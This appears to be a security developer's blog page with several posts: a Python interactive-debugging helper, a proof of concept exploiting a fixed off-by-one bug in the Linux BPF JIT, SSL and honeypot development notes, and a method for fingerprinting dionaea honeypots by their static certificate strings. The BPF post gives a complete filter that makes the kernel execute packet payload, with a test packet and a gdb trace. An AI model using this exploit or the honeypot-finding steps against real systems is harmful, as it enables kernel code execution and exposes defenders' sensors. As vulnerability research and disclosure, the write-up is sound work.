Just in case you ever wanted to debug your python service interactively, and pdb did not do the job you've been looking for, how about the standard python interpreter on stdin?
The one below basically wraps PyRun_InteractiveOne via ctypes, sets some tty modes, things not that interesting, they just have to work.
But, it even autocompletes on tab, and restores the tty settings via atexit.
Combined with objgraph1), this is was rather valueable to me. For objgraph, use python 3.3 and replace __name__ in objgraph with __qualname__2).
Given I was unable to find something, here is the code.
pyev3) can be replaced with your favourite event loop easily - it is just a single socket to poll for readability.
#!/usr/bin/python3.2 import pyev import sys class cli: def __init__(self, loop): sys.ps1 = ">>>" sys.ps2 = "..." import ctypes libc = ctypes.cdll.LoadLibrary("libc.so.6") libc.fdopen.restype = ctypes.c_void_p libc.fdopen.argtype = [ctypes.c_int, ctypes.c_char_p] self.stdin = libc.fdopen(sys.stdin.fileno(),"r") self._io = pyev.Io(sys.stdin.fileno(), pyev.EV_READ, loop, self._io_cb) self._io.start() import termios # [iflag, oflag, cflag, lflag, ispeed, ospeed, cc] self.read_termios = termios.tcgetattr(sys.stdin.fileno()); self.poll_termios = termios.tcgetattr(sys.stdin.fileno()); self.read_termios[3] |= (termios.ICANON|termios.ECHOCTL|termios.ECHO); self.poll_termios[3] &= ~(termios.ICANON|termios.ECHOCTL|termios.ECHO); try: import readline except ImportError: print("Module readline not available.") else: import rlcompleter readline.parse_and_bind("tab: complete") import atexit atexit.register(self._atexit) def _atexit(self): self.mode(self.read_termios) def setblocking(self,blocking): import fcntl import os if blocking == True: fcntl.fcntl(sys.stdin.fileno(), fcntl.F_SETFL, fcntl.fcntl(sys.stdin.fileno(), fcntl.F_GETFL) | os.O_NONBLOCK) else: fcntl.fcntl(sys.stdin.fileno(), fcntl.F_SETFL, fcntl.fcntl(sys.stdin.fileno(), fcntl.F_GETFL) & ~os.O_NONBLOCK) def mode(self, m): import termios termios.tcsetattr(sys.stdin.fileno(), termios.TCSANOW, m) def _io_cb(self, watcher, revents): from ctypes import pythonapi self.mode(self.read_termios) # self.setblocking(False) # nonblocking stdin causes very interesting problems here! pythonapi.PyRun_InteractiveOne(self.stdin, b"<stdin>") # self.setblocking(True) # even if disabled during runtime operation self.mode(self.poll_termios) if __name__ == '__main__': loop = pyev.default_loop() c = cli(loop) def signals(watcher, revents): watcher.loop.stop() import signal sigint = pyev.Signal(signal.SIGINT, loop, signals) sigint.start() loop.start() sys.exit(0)
The BSD or Berkely Packet Filter is a register-based filter evaluator and network tap invented 1990 by Steven McCanne and Van Jacobson to replace the CMU/Stanford Packet Filter (CSPF) and Sun NIT filter technology with a faster alternative1). While bpf consists of two components, the filter evaluator and the network tap, we'll ignore the network tap and focus on the filter evaluator instead.
The bug is fixed already 1), so lets look into the details. For long conditional jumps the jit compiler would create an jump offset off by one, so we would jump into the instruction instead of infront of the instruction.
Taking the filter which made me notice the problem: ”(tcp and portrange 0-1024) or (udp and portrange 1025-2048)”
The relevant part of the bpf filter
(008) jge #0x0 jt 26 jf 38 ... (026) jgt #0x400 jt 38 jf 37
and the relevant part of the jit code
00000062 83F800 cmp eax,byte +0x0 00000065 0F83A2000000 jnc dword 0x10d ... 0000010C 3D00040000 cmp eax,0x400
jnc dword 0x10d is off-by-one.
As we got a pointer to the packet within the jit on r8 2) anyway, idea would be executing the packets payload. All we've have to do is increase r8 by 24 (for a udp packet on linktype 1), and call r8. While we have a bpf instruction which will cause the jit to emit a static byte, followed by 4 static bytes defined by the filter
#define EMIT1_off32(b1, off) do { EMIT1(b1); EMIT(off, 4);} while (0)
, we want to execute:
00000000 4983C02A add r8,byte +0x2a 00000004 41FFD0 call r8
We'd need more than 4 bytes, so lets copy r8 to r10 first trigger the bug multiple times -once for each instruction required- to create a valid pointer to the payload.
00000000 4D89C2 mov r10,r8 00000003 4983C22A add r10,byte +0x2a 00000007 41FFD2 call r10
Now, lets emit code,
jeq #0x90C2894D,label_pmov0,label_pmov1
would emit
00000000 3D4D89C290 cmp eax,0x90c2894d 00000005 741F jz label_pmov0 00000007 EB2B jmp short label_pmov1
the call would jump to 00000001, executing:
00000000 4D89C2 mov r10,r8 00000003 90 nop 00000005 740C jz label_pmov0 00000007 EB18 jmp short label_pmov1
So, the real magic for this bug is in the filter:
As you can see on the callgraph of the filter, it will execute the very same instructions independent of the result of the comparisons.
ldh [0] jge #0x0,label_movt,label_movf /* waste some space to enforce a jnc dword */ ldh [0] ldh [0] ldh [0] ldh [0] ldh [0] ldh [0] ldh [0] ldh [0] ldh [0] ldh [0] ldh [0] ldh [0] ldh [0] label_movt: /* 4D89C2 mov r10,r8 */ jeq #0x90C2894D,label_pmov0,label_pmov1 ldh [0] label_movf: /* 4D89C2 mov r10,r8 */ jeq #0x90C2894D,label_pmov0,label_pmov1 ldh [0] label_pmov0: jge #0x0,label_addt,label_addf label_pmov1: jge #0x0,label_addt,label_addf /* waste some space to enforce a jnc dword */ ldh [0] ldh [0] ldh [0] ldh [0] ldh [0] ldh [0] ldh [0] ldh [0] ldh [0] ldh [0] ldh [0] ldh [0] ldh [0] label_addt: /* 4983C22A add r10,byte +0x2a */ jeq #0x2AC28349,label_padd0,label_padd1 label_addf: /* 4983C22A add r10,byte +0x2a */ jeq #0x2AC28349,label_padd0,label_padd1 ldh [0] label_padd0: jge #0x0,label_callt,label_callf label_padd1: jge #0x0,label_callt,label_callf /* waste some space to enforce a jnc dword */ ldh [0] ldh [0] ldh [0] ldh [0] ldh [0] ldh [0] ldh [0] ldh [0] ldh [0] ldh [0] ldh [0] ldh [0] ldh [0] label_callt: /* 41FFD2 call r10 */ jeq #0x90D2FF41,label_ret0,label_ret1 label_callf: /* 41FFD2 call r10 */ jeq #0x90D2FF41,label_ret0,label_ret1 ldh [0] label_ret0: ret a label_ret1: ret a
I compiled this filter with a modified version of bpfc to allow comments, will provide the patch upstream.
To demonstrate possible exploitation of this bug, lets create a udp packet with payload INT3.
import bpf from scapy.all import Ether,IP,IPv6,TCP,UDP,fuzz,RandIP,RandIP6,RandMAC,RandString,Raw a = bpf.pcap_file() a.create("payload.pcap",linktype=1,snaplen=16*1024) p = Ether(src=RandMAC(),dst=RandMAC())/IP(src=RandIP(),dst=RandIP())/UDP(sport=53,dport=1111)/Raw('\xcc'*512) a.write(p.build()) a.close()
Porting the kernel jit to userspace, running in gdb and breakpoint on the jit code:
=> 0x7ffff7fd5001: mov rbp,rsp => 0x7ffff7fd5004: sub rsp,0x60 => 0x7ffff7fd5008: mov QWORD PTR [rbp-0x8],rbx => 0x7ffff7fd500c: mov r9d,DWORD PTR [rdi+0x0] => 0x7ffff7fd5010: sub r9d,DWORD PTR [rdi+0x4] => 0x7ffff7fd5014: mov r8,QWORD PTR [rdi+0x8] => 0x7ffff7fd5018: mov esi,0x0 => 0x7ffff7fd501d: call 0x7ffff7369bd5 <sk_load_half> => 0x7ffff7fd5022: cmp eax,0x0 => 0x7ffff7fd5025: jae 0x7ffff7fd50b3 => 0x7ffff7fd50b3: mov r10,r8 => 0x7ffff7fd50b6: nop => 0x7ffff7fd50b7: je 0x7ffff7fd50d8 => 0x7ffff7fd50b9: jmp 0x7ffff7fd50e6 => 0x7ffff7fd50e6: cmp eax,0x0 => 0x7ffff7fd50e9: jae 0x7ffff7fd5177 => 0x7ffff7fd5177: add r10,0x2a => 0x7ffff7fd517b: je 0x7ffff7fd5192 => 0x7ffff7fd517d: jmp 0x7ffff7fd51a0 => 0x7ffff7fd51a0: cmp eax,0x0 => 0x7ffff7fd51a3: jae 0x7ffff7fd5231 => 0x7ffff7fd5231: call r10 => 0x618c6a: int3
Looking on the executed code, we could have worked with r8 directly instead.
Exploitability .., to attach the filter to a socket in the kernel, you need local root - any further questions?
I've had some problems with ssl lately, here is what I found to be the problem/solution.
The problem is pretty easy, inability to access https services, mwanalysis.org may serve as an example here.
I was able to reproduce the problem using python(3.2):
import urllib.request url="https://mwanalysis.org" a = urllib.request.urlopen(url)
Traceback (most recent call last):
File "/opt/dionaea/lib/python3.2/urllib/request.py", line 1122, in do_open
h.request(req.get_method(), req.selector, req.data, headers)
File "/opt/dionaea/lib/python3.2/http/client.py", line 964, in request
self._send_request(method, url, body, headers)
File "/opt/dionaea/lib/python3.2/http/client.py", line 1002, in _send_request
self.endheaders(body)
File "/opt/dionaea/lib/python3.2/http/client.py", line 960, in endheaders
self._send_output(message_body)
File "/opt/dionaea/lib/python3.2/http/client.py", line 805, in _send_output
self.send(msg)
File "/opt/dionaea/lib/python3.2/http/client.py", line 743, in send
self.connect()
File "/opt/dionaea/lib/python3.2/http/client.py", line 1105, in connect
server_hostname=server_hostname)
File "/opt/dionaea/lib/python3.2/ssl.py", line 168, in wrap_socket
_context=self)
File "/opt/dionaea/lib/python3.2/ssl.py", line 254, in __init__
raise x
File "/opt/dionaea/lib/python3.2/ssl.py", line 250, in __init__
self.do_handshake()
File "/opt/dionaea/lib/python3.2/ssl.py", line 429, in do_handshake
self._sslobj.do_handshake()
ssl.SSLError: [Errno 1] _ssl.c:390: error:14077458:SSL routines:SSL23_GET_SERVER_HELLO:reason(1112)
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/opt/dionaea/lib/python3.2/urllib/request.py", line 138, in urlopen
return opener.open(url, data, timeout)
File "/opt/dionaea/lib/python3.2/urllib/request.py", line 366, in open
response = self._open(req, data)
File "/opt/dionaea/lib/python3.2/urllib/request.py", line 384, in _open
'_open', req)
File "/opt/dionaea/lib/python3.2/urllib/request.py", line 344, in _call_chain
result = func(*args)
File "/opt/dionaea/lib/python3.2/urllib/request.py", line 1156, in https_open
context=self._context, check_hostname=self._check_hostname)
File "/opt/dionaea/lib/python3.2/urllib/request.py", line 1125, in do_open
raise URLError(err)
urllib.error.URLError: <urlopen error [Errno 1] _ssl.c:390: error:14077458:SSL routines:SSL23_GET_SERVER_HELLO:reason(1112)>
Taking part in gsoc11 The Honeynet Project offered a project to improve dionaea's SIP stack. PhiBo, the student who got accepted on this project had contributed to dionaea before, and even though I initially choose not to mentor the GSoC dionaea SIP project, given my lack in expertise in SIP, I've been working closely with him to make sure the final results are usable.
Working with him was fun, I think both of us have learned something and - even more important - the code written exceeded my expectations.
Given the code started rotting on my disk, I decided to put it on the interwebs.
I even wrote a README which covers some basic aspects.
For more information please refer to my first post on pnrp.
If you can make something of it - enjoy it.
I pushed some final mysql fixes for dionaea yesterday, and just had a look on the ore if there was some activity already.
Yes, there was some activity.
Even though there is little action on tcp/3306 I choose MySQL as a protocol to show how to extend dionaea.
Over the next lines, we'll implement parts of the MySQL wire protocol for a MySQL service using scapy.
Kernel 2.6.38 introduced an API to access the kernel crypto API from userspace. While there was a port of BSD's cryptodev for linux which basically provides the same functionality, the cryptodev code never made it into the mainline of the kernel.
Accessing the kernels crypto API from userspace allows making use of crypto hardware, which can't be accessed from userspace directly. Hardware accelerated cryptography as provided by VIA Padlock1) and Intel AES-NI2) can be accessed from userspace directly, so you do not need AF_ALG at all, but AMD Geode processors AES cryptography is - contrary to Padlock and AES-NI - not an instruction3) and therefore can't be accessed from userspace.
You may be interested in the discussion of af_alg vs cryptodev performance 4) and the raw numbers and benchmarking software too
5).
As I own AMD Geode powered hardware (ALIX), I decided to play with AF_ALG.
dionaea does https, at least tcp/443 is open and you can establish a tls connection. As you need certificates for ssl, and I felt it was easier to create a self signed certificate during startup than having to mess with openssl to create a self signed certificate, dionaea creates a self signed certificate for ssl services by default.
The EFF decided to grab all https ssl certificates 1), make a torrent and have you play with them.
When the torrent was available, the tracker was down, and for me having a look on the data offered was postponed.
Lately I remembered, downloaded the 4GB torrent, unpacked the file and ended up with ~20G csv.
/tmp/eff/csv-db-files$ ls -alh total 20G 13G ... all-certs.csv 250M ... all-names.csv 3.0G ... certs-seen.csv 3.6G ... valid-certs.csv 74M ... valid-names.csv
The code dionaea uses to create the self signed certificate uses static strings:
X509_NAME_add_entry_by_txt(name,"C", MBSTRING_ASC, (const unsigned char *)"DE", -1, -1, 0); X509_NAME_add_entry_by_txt(name,"CN", MBSTRING_ASC, (const unsigned char *)"Nepenthes Development Team", -1, -1, 0); X509_NAME_add_entry_by_txt(name,"O", MBSTRING_ASC, (const unsigned char *)"dionaea.carnivore.it", -1, -1, 0); X509_NAME_add_entry_by_txt(name,"OU", MBSTRING_ASC, (const unsigned char *)"anv", -1, -1, 0);
These static strings are part of the certificates:
openssl s_client -connect HOST:443 < /dev/null | openssl x509 -outform DER | openssl sha1 depth=0 /C=DE/CN=Nepenthes Development Team/O=dionaea.carnivore.it/OU=anv verify error:num=18:self signed certificate verify return:1 depth=0 /C=DE/CN=Nepenthes Development Team/O=dionaea.carnivore.it/OU=anv verify return:1 DONE
Running grep on the CSV showed some dionaea deployments:
grep dionaea /tmp/eff/csv-db-files/all-certs.csv > dionaea.csv
I used python to retrieve the addresses from the csv:
f = open("dionaea.txt","wb") c = csv.reader(open('dionaea.csv', 'rb'), delimiter=',', quotechar='"') for i in c: f.write("%s\n" % (i[12],)) f.close()
And to check if the hosts were still alive, I decided to use the software the EFF used to retrieve all the certificates:
/tmp/eff/ssl-observatory/scan$ ./FasterCertificateGrabber.py -f dionaea.txt ... Got 5 complete and 0 partial certs out of 154
So, of those hosts only 5 were still alive, which is not that surprising as the majority of addresses seemed to be a single deployment in Australia.
While creating self signed certificates on the fly is convenient, it is easy to fingerprint and index.
At the moment there is no way to mitigate this kind of fingerprinting, it would required user generated certificates -or at least random or dictionary strings for the static part of the certificate- and some bits to load user generated certificates instead of generating them on the fly during startup.
